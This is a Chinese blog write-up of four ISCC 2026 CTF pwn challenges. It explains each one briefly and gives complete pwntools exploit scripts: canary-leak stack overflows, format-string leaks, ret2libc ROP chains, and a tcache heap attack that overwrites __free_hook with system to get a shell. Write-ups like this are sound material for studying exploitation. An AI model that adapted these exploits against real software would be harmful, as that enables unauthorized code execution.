当前位置: 首页 > news >正文

ISCC-pwn(2026)

复现一下

文章目录

  • 校赛练武
    • pwn1
    • pwn2
    • pwn3
    • pwn4
  • 总结

校赛练武

pwn1


32位泄露canary后,栈溢出到后门即可。

frompwnimport*context.terminal=["tmux","splitw","-h"]context.log_level='debug'p=process('./attachment-5')#p=remote('39.96.201.215',10004)ru=lambdax:p.recvuntil(x)sl=lambdax:p.sendline(x)s=lambdax:p.send(x)sla=lambdax:p.sendlineafter(x)n2b=lambdax:str(x).encode()sn=lambdax:sl(n2b(x))defbug():gdb.attach(p);pause()s(b'a'*0x65)ru(b'a'*0x64)canary=u32(p.recv(4))-ord('a')py=b'a'*0x64+p32(canary)+b'a'*0xc+p32(0x80491CF)s(py)p.interactive()

pwn2


感觉是远程环境问题,远程需要爆破libc_base,然后cat flag拿到shell,本地就正常ret2libc。

frompwnimport*#p=remote('39.96.193.120',10000)e=ELF('./attachment-9')p=process('./attachment-9')ru=lambdax:p.recvuntil(x)sl=lambdax:p.sendline(x)s=lambdax:p.send(x)sla=lambdax:p.sendlineafter(x)n2b=lambdax:str(x).encode()sn=lambdax:sl(n2b(x))defbug():gdb.attach(p);pause()libc=ELF('./libc.so.6')ru(b'Hope you have a good time here.\n')#s(b'DDDD'+b'.%x'*15)py=fmtstr_payload(4,{0x804C030:5})s(py)py1=b'a'*0x94+p32(e.plt.puts)+p32(0x080490B0)+p32(e.got.puts)s(py1)ru(b'Input:\n')libc_base=u64(p.recv(4).ljust(8,b'\x00'))-libc.sym.putsprint(hex(libc_base))s(b'+')s(b'a'*0x94+flat(libc_base+libc.sym.system,0,libc_base+next(libc.search(b'/bin/sh'))))p.interactive()

pwn3



格式化字符串泄露canary和libc,打ret2libc。

frompwnimport*context.terminal=["tmux","splitw","-h"]#context.log_level = 'debug'context.arch='amd64'file='./pwn'#p=process(file)p=remote('39.96.193.120',33334)e=ELF(file)libc=ELF("./libc6_2.31-0ubuntu9.16_amd64.so")ru=lambdax:p.recvuntil(x)sl=lambdax:p.sendline(x)s=lambdax:p.send(x)sla=lambdax:p.sendlineafter(x)n2b=lambdax:str(x).encode()sn=lambdax:sl(n2b(x))defbug():gdb.attach(p);pause()defexp():s(f'%10$s%{0x27+6}$p'.encode().ljust(0x10,b'\x00')+p64(e.got.read))#bug()ru(b'Welcome, ')libc_base=u64(p.recv(6).ljust(8,b'\x00'))-libc.sym.readprint(hex(libc_base))ru(b'0x')canary=int(p.recv(16),16)system=libc.sym['system']+libc_base sh=next(libc.search(b'/bin/sh'))+libc_base off=0x00000000004014a3rdi=off ret=off+1sn(0xf00)py=b'a'*0x108+p64(canary)+b'a'*8+flat(rdi,sh,ret,system)s(py)exp()p.interactive()

pwn4

代码比较长,耐心re,找到漏洞点就比较ez了。

保护全开。
glibc2.31,没开沙箱,大概率是覆盖free_hook为system了。

程序分两部分一个teacher,一个student,开始代码审计。



增加学生,有个数据结构,两个chunk分别为manage_chunk和qustion_chunk。
可以edit qustion的number。


这里的fd!=0,向外读student_score,范围为0~89。


add和edit comment_chunk,且大小可以一定的控制,这里也是个数据结构。


free manage_chunk,qustion_chunk和comment_chunk。无uaf漏洞。


转变身份。

再看student这边。


else中第一个if可以知道manage_chunk的addr,即可以泄露heap_base,第二个if可以泄露comment_chunk中的内容,即可以泄露libc_base。


改lazy的last_byte。


第一个if中,add_mode和edit_mode,第二个if可以改mode_chunk的last_byte,结合第一个if还有edit_lazy可以做到任意地址写入。


choose student。

先看看数据结构吧:

思路很清晰了,我们可以结合任意地址写入,改mode_chunk为question_chunk,覆盖comment为free_hook,然后edit_comment为system即可shell。
那么我们就需要获得libc_base,我们先add_comment的大小大于0x80,由于最多只能分配7个manage_chunk和question_chunk,那么我们先改tcache struct中chunk的size位改大,才能一次性free0x80的chunk到unsorted bin。那么我们就需要知道heap,想知道heap_base,就需要score>=90,那么我们先用任意地址写改mode为question,在score处写入90即可,然后就可以泄露heap了,之后再用任意地址写改mode为question,覆盖comment指针为heap_base+0x1e,再往里面写入一个很大的数即可。
然后free掉comment_chunk,就可以进入unsorted bin了。后面老方法改mode为question,改comment指针为free掉的comment指针就可以泄露libc了。

给一个tcache chunk[size]位置的计算公式:(malloc(size-0x10))
counts[idx] 按 2 字节处理

(size - 0x20) / 0x10 = n 0x10 + n* 2 = 偏移
frompwnimport*context.terminal=["tmux","splitw","-h"]context.log_level='debug'context.arch='amd64'file='./pwn'p=process(file)#p=remote('39.96.193.120',10008)e=ELF(file)libc=ELF("./libc-2.31.so")ru=lambdax:p.recvuntil(x)sl=lambdax:p.sendline(x)s=lambdax:p.send(x)sla=lambdax,y:p.sendlineafter(x,y)n2b=lambdax:str(x).encode()sn=lambdax:sl(n2b(x))defbug():gdb.attach(p);pause()defto_cmd(idx):ru(b'role: <0.teacher/1.student>: ')sn(idx)defto_tea():to_cmd(0)defto_stu():to_cmd(1)defcmd(idx):ru(b'choice>> ')sn(idx)defadd_stu():cmd(1)ru(b'enter the number of questions: ')sn(9)defadd_comment(idx,size,content):cmd(3)ru(b'which one? > ')sn(idx)ru(b'please input the size of comment: ')sn(size)ru(b'enter your comment:')s(content)defedit_comment(idx,content):cmd(3)ru(b'which one? > ')sn(idx)ru(b'enter your comment:')s(content)deffree(idx):cmd(4)ru(b'which student id to choose?')sn(idx)defchange():cmd(5)defadd_mode(mode):cmd(4)ru(b'enter your mode!')s(mode)defedit_mode(mode):cmd(4)sla(b'enter your pray score: 0 to 100\n',str(mode).encode())defshow_manage():cmd(2)defshow_comment():cmd(2)defchoose_stu(idx):cmd(6)ru(b'input your id: ')sn(idx)defedit_addr(addr_last_byte,content):choose_stu(0)cmd(3)edit_mode(addr_last_byte)cmd(3)add_mode(content)#先分配7个manage_chunkto_tea()foriinrange(7):add_stu()change();to_stu()#bug()foriin(0,1,2):choose_stu(i)add_mode(b'a')#bug()#leak_heapedit_addr(0x10,p32(9)+p32(90))choose_stu(4)show_manage()ru(b'0x')heap=int(p.recvuntil(b'\n',drop=True),16)-0x3e0print(hex(heap))s(n2b(heap))#leak_libcchange();to_tea()add_comment(6,0x80,b'a')add_comment(0,0x10,b'a')change();to_stu()edit_addr(0x10,p32(9)+p32(1)+p64(heap+0x1e)+p32(2))change();to_tea()edit_comment(4,p16(0x100))free(6)change();to_stu()edit_addr(0x60,p32(9)+p32(1)+p64(heap+0x560)+p32(8))choose_stu(5)show_comment()ru(b'here is the review:\n')libc_base=u64(p.recv(6).ljust(8,b'\x00'))-libc.sym.__malloc_hook-0x10-96print(hex(libc_base))#bug()#改free_hook为systemfree_hook=libc_base+libc.sym.__free_hook system=libc_base+libc.sym.system edit_addr(0x10,p32(9)+p32(1)+p64(free_hook-8)+p32(16))change();to_tea()edit_comment(4,b'/bin/sh\x00'+p64(system))free(4)p.interactive()

总结

比赛水的不想评价,只评价题目。
校赛练武题,第一天上的两个pwn题,个人觉得栈题过于简单,就是一个签到题水平,到了堆题,代码审计比较吃力,题目比较有意思,不算特别难。但还是建议提高栈题难度,降点堆题代码审计量吧。
第二天的两个pwn题,全是栈题,第一题正常ret2libc应该就可以,我滴乖乖远程环境有问题,ret后链会炸,那没招了,爆破libc_base 听了就666,第二题附件和远程环境对不上,远程环境还炸了6666,修好后1分钟1000解,666会盲打的人挺多的啊,不愧是iscc,吓哭了,题目还是可以的,建议换到第一天的pwn题。

http://www.jsqmd.com/news/771993/

相关文章:

  • 2026中医执医考试冲刺期逆袭必备题库 - 医考机构品牌测评专家
  • DayZ社区离线模式终极指南:打造你的私人末日世界
  • 【机械臂】基于matlab模拟静载荷下三维悬臂梁拓扑优化设计
  • 深度构建开源自动化平台:MAA明日方舟助手模块化配置与高效集成实践
  • 解锁后还弹‘密钥环不匹配’?手把手教你清理Ubuntu登录后的残留密码提示
  • 石家庄燕赵旅行社——夕阳红专属之旅,伴长辈慢赏山河,安享惬意时光(石家庄夕阳红旅行社) - 旅游龙虎榜
  • Rust 错误处理实战:构建健壮的应用程序
  • AutoSar里CS接口的三种调用方式,实测CPU负载相差百倍!你的代码用对了吗?
  • 3步重塑你的数字工作空间:零代码Windows个性化终极方案
  • AI结构化推理框架:将传统玄学转化为确定性决策分析工具
  • 保姆级教程:在Ubuntu 18.04上搞定ZED 2i的IMU噪声标定(用imu_utils)
  • 医师资格证网课哪家靠谱?2026年考生可以参考的四项标准 - 医考机构品牌测评专家
  • AISMM模型到底如何重构企业技术治理?——3大行业头部实践+7项可量化成效数据首次公开
  • 终极指南:3分钟将B站视频转为文字稿,Bili2text让你的效率提升10倍
  • 降重 + 降 AIGC 双效突围:虎贲等考 AI 让论文无痕通关,告别标红与 AI 检测焦虑
  • Proteus仿真51单片机时,电源和地找不到?这些隐藏技巧和常见报错解决了吗?
  • 孤舟笔记 并发篇三十六 如何安全中断一个正在运行的线程?stop()为什么被废弃
  • 值得信赖!2026广州聚杰芯科交通量调查系统,每一款都经得起市场检验 - 品牌速递
  • 城市照明工程商在项目中最常遇到的3个照明控制难题是什么?如何用智能照明控制器解决?
  • 构建高效聊天机器人运维:botctl命令行控制中心的设计与实践
  • HacxGPT项目解析:大语言模型越狱技术与AI安全攻防实践
  • ArcGIS Maps SDK for JavaScript 5.0 组件化开发指南
  • 3步掌握Windhawk工具:彻底改变你的Windows个性化体验
  • 信创UOS,Docker 完整操作部署(Dockerfile部署方式)排错整合
  • WarcraftHelper:让经典魔兽争霸3在现代系统上高效运行的全面优化方案
  • 如何从GoPro视频中提取GPS轨迹:终极实战指南
  • 2026年男孩、女孩、宝宝起名/取名公司深度观察:合规化定制机构解析 - 深度智识库
  • 基于深度学习的YOLO26智慧工业图像识别 车辆缺陷识别 车辆玻璃破损检测 车辆凹陷识别 车辆划痕检测 数据集第10681期
  • 5分钟掌握SVGcode:浏览器内一键实现位图到矢量图的智能转换
  • 2026年4月质量好的硬度计直销厂家推荐,30T液压万能试验机/60吨材料万能试验机,硬度计供应商推荐 - 品牌推荐师